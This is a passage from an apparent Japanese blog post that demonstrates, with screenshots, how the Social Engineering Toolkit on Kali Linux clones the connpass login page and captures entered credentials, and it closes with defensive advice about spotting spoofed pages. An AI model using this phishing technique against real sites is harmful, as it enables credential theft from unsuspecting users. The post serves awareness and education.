f:id:appleseedj073:20180311222642p:plain

攻撃に使うWebサイトについて聞いてくるので、サイトをクローンする「2」を入力

f:id:appleseedj073:20180311223240p:plain

収集した情報をレポートとして送る先を求めてくるので、今回はそのまま自分のアドレスを指定

f:id:appleseedj073:20180311223549p:plain

最後に複製するサイト(クローンするサイト)のURLを入力

f:id:appleseedj073:20180311223757p:plain

サイトのクローンコピーが行われてWebサービスが起動して待ち受け状態になる。

 

検証

実際に複製サイト(Kali Linux)にアクセスしてみる。

f:id:appleseedj073:20180311224502p:plain

パッと見は「connpass」さんのログインページ。しかし、URLをみると

f:id:appleseedj073:20180311224659p:plain

ログインページではありえない暗号化されていないページであり、IPアドレスが表示されている状態になっている。

ここでユーザ名「testuser」パスワード「password」と入力してログイン施行する。

f:id:appleseedj073:20180311225046p:plain

すると・・・

f:id:appleseedj073:20180311225204p:plain

入力した項目が、クリアされて元の画面のままになる。この時、ログインの可否については一切表示されない。しかし、URLをみると

f:id:appleseedj073:20180311225330p:plain

保護された通信となり、URLも正規の「connpass」さんのログインページのものになっている。

 

では、この時Kali Linux側ではどんな状況になっていたのか確認する。

f:id:appleseedj073:20180311225626p:plain

先ほど入力したユーザ名とパスワードが完全に暴露している。どんなに桁数の多いパスワードを設定していてもユーザの隙を突かれてしまうといとも簡単に盗まれてしまうのである。

 

まとめ

  1. 「Social Engineering Toolkit」を使用した場合、簡単にサイトを複製しユーザを騙すことができる。要するに誰でも簡単にログインページになりすます事が可能
  2. 複製したサイトのリンクを踏ませるのには、「ログインして登録情報を確認してください」などもう一手間かけて相手を騙す必要がある。
  3. うまくユーザを騙してリンクを踏ませた場合、騙されたユーザは冷静さを失っている可能性が高い。そうなるとURLを見る間もなくログイン試行をしてしまう可能性が高い。

攻撃者優勢なのは相変わらずなので、騙された人を責めるのではなくツールや機器でカバーできるところはカバーして被害を最小限に食い止めることを考えていけたら良いと思いますよ。